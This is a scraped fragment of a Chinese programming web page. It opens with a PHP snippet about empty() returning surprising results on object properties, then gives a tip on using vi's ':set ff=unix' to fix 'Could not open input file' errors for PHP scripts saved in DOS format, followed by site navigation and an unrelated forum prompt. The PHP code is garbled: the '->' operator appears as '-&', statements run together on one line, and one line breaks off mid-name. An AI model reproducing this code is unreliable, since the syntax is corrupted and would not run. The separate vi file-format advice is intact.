var_dump(empty($registry-&notExisting)); // true, so far so goodvar_dump(empty($registry-&empty)); // true, so far so goodvar_dump(empty($registry-&notEmpty)); // true, .. say what?$tmp = $registry-&notEvar_dump(empty($tmp)); // false as expected?&12、Linux下命令行执行php文件的格式必须是unix。
php ./test.php如果test.php是windos上传的,其格式可能是dos。然后运行该命令就报错:Could not open input file
我们可以在vi中使用:set ff来查看格式:
fileformat=dos
如果是dos格式,那么就要使用:set ff=unix来设置新格式
再使用:set ff来查看格式,可以看到已经是unix的格式了;
fileformat=unix
您可能感兴趣的文章:
上一篇:下一篇:
最 近 更 新
热 点 排 行

我要回帖

更多关于 土豆客户端脚本错误 的文章

 

随机推荐